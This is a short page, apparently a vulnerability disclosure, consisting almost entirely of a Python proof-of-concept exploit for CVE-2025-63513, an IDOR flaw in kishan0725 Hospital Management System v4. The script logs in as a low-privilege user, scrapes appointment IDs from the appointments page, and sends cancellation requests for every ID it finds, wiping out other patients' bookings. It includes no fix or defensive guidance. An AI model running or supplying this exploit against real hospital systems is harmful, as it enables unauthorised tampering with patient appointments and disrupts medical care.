CVE-2025-63513 kishan0725医院管理系统v4预约取消功能IDOR漏洞

import requests import re # CVE-2025-63513 PoC - Hospital Management System v4 IDOR in Appointment Cancellation # Target: kishan0725 Hospital Management System v4 # Vulnerability: IDOR in appointment cancellation functionality TARGET_URL = "http://target-website.com" LOGIN_URL = f"{TARGET_URL}/login" APPOINTMENTS_URL = f"{TARGET_URL}/appointments" CANCEL_URL = f"{TARGET_URL}/appointment/cancel" USERNAME = "[email protected]" PASSWORD = "password123" def login(): """Authenticate with low-privilege account""" session = requests.Session() login_data = { 'email': USERNAME, 'password': PASSWORD } response = session.post(LOGIN_URL, data=login_data) return session if response.status_code == 200 else None def get_appointment_ids(session): """Enumerate valid appointment IDs from the system""" response = session.get(APPOINTMENTS_URL) if response.status_code == 200: # Extract appointment IDs from page content pattern = r'appid=(\d+)' return re.findall(pattern, response.text) return [] def cancel_appointment(session, appointment_id): """Exploit IDOR by canceling another user's appointment""" cancel_data = { 'appointment_id': appointment_id, 'action': 'cancel' } response = session.post(CANCEL_URL, data=cancel_data) return response.status_code == 200 def main(): session = login() if not session: print("[-] Login failed") return print("[+] Login successful") appointment_ids = get_appointment_ids(session) for appt_id in appointment_ids: print(f"[*] Attempting to cancel appointment ID: {appt_id}") if cancel_appointment(session, appt_id): print(f"[+] Successfully canceled appointment {appt_id}") if __name__ == "__main__": main()